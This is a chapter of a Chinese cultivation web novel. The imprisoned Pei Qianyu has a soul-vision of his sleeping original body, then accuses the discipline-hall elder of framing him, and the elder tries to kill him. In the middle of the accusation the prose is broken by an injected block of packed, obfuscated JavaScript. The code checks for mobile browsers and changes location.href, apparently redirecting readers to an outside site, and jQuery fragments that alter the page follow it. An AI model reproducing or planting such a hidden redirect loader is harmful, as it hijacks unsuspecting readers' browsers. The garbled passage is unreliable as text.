“不然,我一个字都不会吐出来。”
裴千屿用尽最后的力气说完这句话,便再也支撑不住,意识在冰冷的水中逐渐模糊。
时间仿佛过了很久,又仿佛只是一瞬。
他听见脚步声渐渐远去,水牢沉重的铁门发出“哐当”一声巨响,将他与外界彻底隔绝。
裴千屿的呼吸渐渐微弱,意识昏沉下来。
就在这生死边缘的混沌之中,裴千屿忽然感觉自己的灵魂仿佛脱离了沉重的躯壳,整个人轻飘飘的飞了起来。
这种感觉很是奇异,似是完全脱离了系统给他做的那具木苏烟的身体,而他的灵魂也在空中飘飘呼呼的,不知道最终会落在哪里。
终于,他的灵魂在一个金碧辉煌的宫殿停留。
殿内陈设华美,处处透着精致与奢华,饶是裴千屿前世见多识广,也不得不感叹这个宫殿的主人当真是奢靡。
而在宫殿正中央的玉榻上,静静地躺着一个身影。
当裴千屿看清那人的面容时,灵魂都不由自主地一震。
床上的那个人,他的脸,竟与他前世一模一样,只是他前世修炼无情道的原因,头发渐渐变成了银白,而眼前这个人,还是如墨的黑发。
那人双目紧闭,仿佛陷入了漫长的沉睡。
此人是谁?……难道是,这个世界系统口中所说的那位,真正的裴千屿吗?
还没等他想明白,眼前的景象忽然如水波般荡漾起来,再次变换。
这一次,他看见一个满头银发的男子,面容俊美得不似凡人,唇角含着一抹温柔的笑意。
他面前站着两个九、十岁模样的孩童,一男一女,生得玉雪可爱。
像个小糯米团子一样。
裴千屿心中不由得升起这个念头,他是很喜欢养崽的,要不然也不至于对前世的三个徒弟至今仍有很深的牵挂。
前世他收的三个徒弟,个个都很乖巧听话,更是他一个又一个手把手带大的。
把孩子从小小孩童带到翩翩君子,其中所获得的成就感,其实是他为数不多能起的情绪。现在他看着眼前的两个玉雪可爱的孩子,心中又不由自主地升起了那种欣赏感。
下一瞬,银发男子从袖中取出两枚身份牌,分别递给两个孩子。
“从今往后,你们就是我的师孙了,你们的师尊是敛华师尊裴千屿,以后你们出门在外,代表的都是你们师尊的脸面,莫要让别人看清了去。”
两个孩子乖巧地接过身份牌,珍重地收进怀中。
画面再次转换。
银发男子独自走进那座金碧辉煌的宫殿,来到玉榻前。他看着榻上沉睡的身影,脸上的笑意渐渐褪去,化作一声悠长的叹息。
他轻轻抚过榻上之人苍白的脸颊,动作温柔得仿佛在触碰一件稀世珍宝。
“已经……这么久了。”银发男子低声自语,声音里带着难以掩饰的疲惫与担忧,“小屿,你还要睡到什么时候?”
就在这时,榻上之人的睫毛忽然轻轻颤动了一下。
银发男子猛地一怔,眼中闪过一丝惊喜:“你……”
然而那颤动只是一瞬间,榻上之人很快又恢复了沉睡的模样,仿佛刚才的一切都只是幻觉。
银发男子静静地打量了一会,眼中光芒却没有因为对方再无反应而暗下去,他最后替榻上之人掖了掖被角,转身悄然离去。
裴千屿的灵魂怔怔地看着这一幕,心中涌起一股难以言喻的复杂情绪。
还没等他想明白这其中的关联,就感觉一股强大的吸力突然传来,将他的灵魂猛地拽回。
“咳……咳咳咳……”
裴千屿剧烈地咳嗽起来,灵魂归位,他重新感受到了身体的沉重与疼痛。
就在他勉强平复呼吸时,水牢外传来脚步声。
铁门“吱呀”一声被推开,三道身影出现在门口,正是戒律堂长老、明虚掌门,以及楚晏。
戒律堂长老率先开口,语气中带着些许无奈:“掌门师兄,楚师侄,方才此女已经松口认罪,只是非要见到你们才肯交代同伙。”
明虚掌门面色凝重,目光落在水牢中那个狼狈不堪的身影上。
楚晏站在他身侧,清冷的眸子扫过裴千屿苍白的脸和被铁链磨出血痕的手腕,眉头几不可察地蹙了一下。
“苏烟,”明虚掌门沉声开口,“你说要见我们,现在我们已经来了。你有什么话,就说吧。”
裴千屿缓缓抬起头,湿透的黑发黏在脸颊上,更衬得他面色惨白。但他的眼神却异常清明,甚至带着几分洞悉一切的平静。
他环视三人,最后目光定格在戒律堂长老身上,声音虽然嘶哑却异常平稳:
“弟子确实要交代同伙。我的同伙就是……”他的话顿了一下,在众人紧张地视线中,缓缓地吐出最后几个字,“戒律堂长老。”
水牢内顿时一片死寂。
戒律堂长老脸上的表情从惊讶转为痛心,随后他冷笑一声说道:“木苏烟,认下罪名,死到临头了,还想胡乱攀咬别人,你当掌门师兄是如此是非不分的人吗?”
“是不是胡乱攀咬,长老心里最清楚。”裴千屿的声音已经哑的不成样子,他每次说话,都引得楚晏频频侧目蹙眉,“弟子有三点推测,恳请师祖师尊别让我死的那么不明不白。”
“第一,弟子想起入门考核时,每个人的身份牌都要绑定魂力。这看似是寻常程序,但是,这也是魔修采集魂力的手段,采集了魂力,就能轻易推测此人所处位置及境界。而负责入门考核的,正是戒律堂。”
戒律堂长老面色不变:“绑定魂力是宗门千年惯例,戒律堂只是根据规定办事,竟不知怎么到你嘴里就成了这般,当真可笑!”
“第二,”裴千屿没有搭理他,继续说道,“接触过弟子的,除了楚师尊和亓官师叔,还有两人。弟子身上魔气隐晦,押送弟子来天绝崖的两位戒律堂亲传弟子,他们完全有机会在弟子身上种下魔气。”
明虚掌门闻言,目光微动。
“第三,也是最重要的一点。”裴千屿的声音依旧平稳,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549450|186759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
魔族能混入大比,内部必定有人接应。如今事情败露,必须有人担责。而弟子入门时间短,根基浅薄,又恰好在众目睽睽之下推伤了亓官师叔,正是最好的替罪羊。”
他直视着戒律堂长老,缓缓道:“就算弟子真的冤死在水牢里,也不会有人为弟子出头。毕竟弟子的师尊虽是掌门亲传,却终究不是哪位实权长老。这个替罪羊,选得确实很合适。”
“最后,”裴千屿抿了抿唇,“弟子不认罪,弟子与魔族毫无牵扯,亓官师叔受伤是弟子的错,弟子可以为此担责。但让我这般不明不白的替人担了罪,弟子,宁死不认。”
随换裴千屿话锋一转:“戒律堂长老如此急于动用私刑,在事态还没分明之时就逼着弟子认罪,甚至还因此杀害了自己门内几个无辜的外门弟子。长老如此急切,可是还做了什么见不得人的事?”
戒律堂长老闻言,脸上顿时浮现被侮辱的愤怒之色:“放肆!本长老执掌戒律堂百年,向来秉公执法!今日对你用刑,也是因你身上魔气确凿,又接连发生命案,不得不采取雷霆手段!”
他转向明虚掌门,语气沉痛:“掌门师兄,此子不仅身负魔气,如今更是信口雌黄,污蔑长老。若放任此风,日后戒律堂还如何服众?”
“是不是污蔑,一查便知。”裴千屿淡淡道,“那两位押送弟子的亲传弟子现在何处?敢请师祖立刻派人搜查他们的住处,想必能有所发现。”
明虚掌门目光微沉,对身后的执法弟子示意。
戒律堂长老见状,并没有多少慌乱,只是眼神已经完全阴沉了下来。
“既然掌门师兄要查,那便查吧。”他语气坦然,“只是如此一来,戒律堂的威严何在?日后还如何执掌宗门法度?这之后的责任,掌门师兄来担吗?”
明虚掌门的目光在戒律堂长老脸上停留片刻,缓缓道:“师弟,既然问心无愧,让他们配合调查便是,若当真是木苏烟信口雌黄冤枉了师弟,我自然会担责。”
戒律堂长老沉默片刻,忽然叹了口气:“既然如此……那便查吧。”
然而话音刚落,在众人还没有反应过来的时候,突然身形一闪,直取裴千屿咽喉!
这一击快如闪电,蕴含着化神期的恐怖修为,分明是要杀人灭口!
“小心!”
楚晏早有防备,月华剑瞬间出鞘,凌厉的剑气后发先至,堪堪挡下这致命一击。
明虚掌门又惊又怒:“师弟,你!”
戒律堂长老见一击未能得手,却仍强自镇定,张口便为自己的行动找了个借口:“此子污蔑长老,按律当诛!”
“是不是污蔑,很快就会见分晓。”楚晏持剑而立,目光冰冷,“师尊已经传音派人去搜查了。”
戒律堂长老脸色变幻不定,最终冷哼一声:“好,很好。那便等着看结果吧。”
明虚掌门看着他现在理直气壮似乎真是被冤枉了的样子,又看了一眼半死不活的裴千屿,心中也泛起了嘀咕。
似乎站在双方的立场,谁的解释都说的通。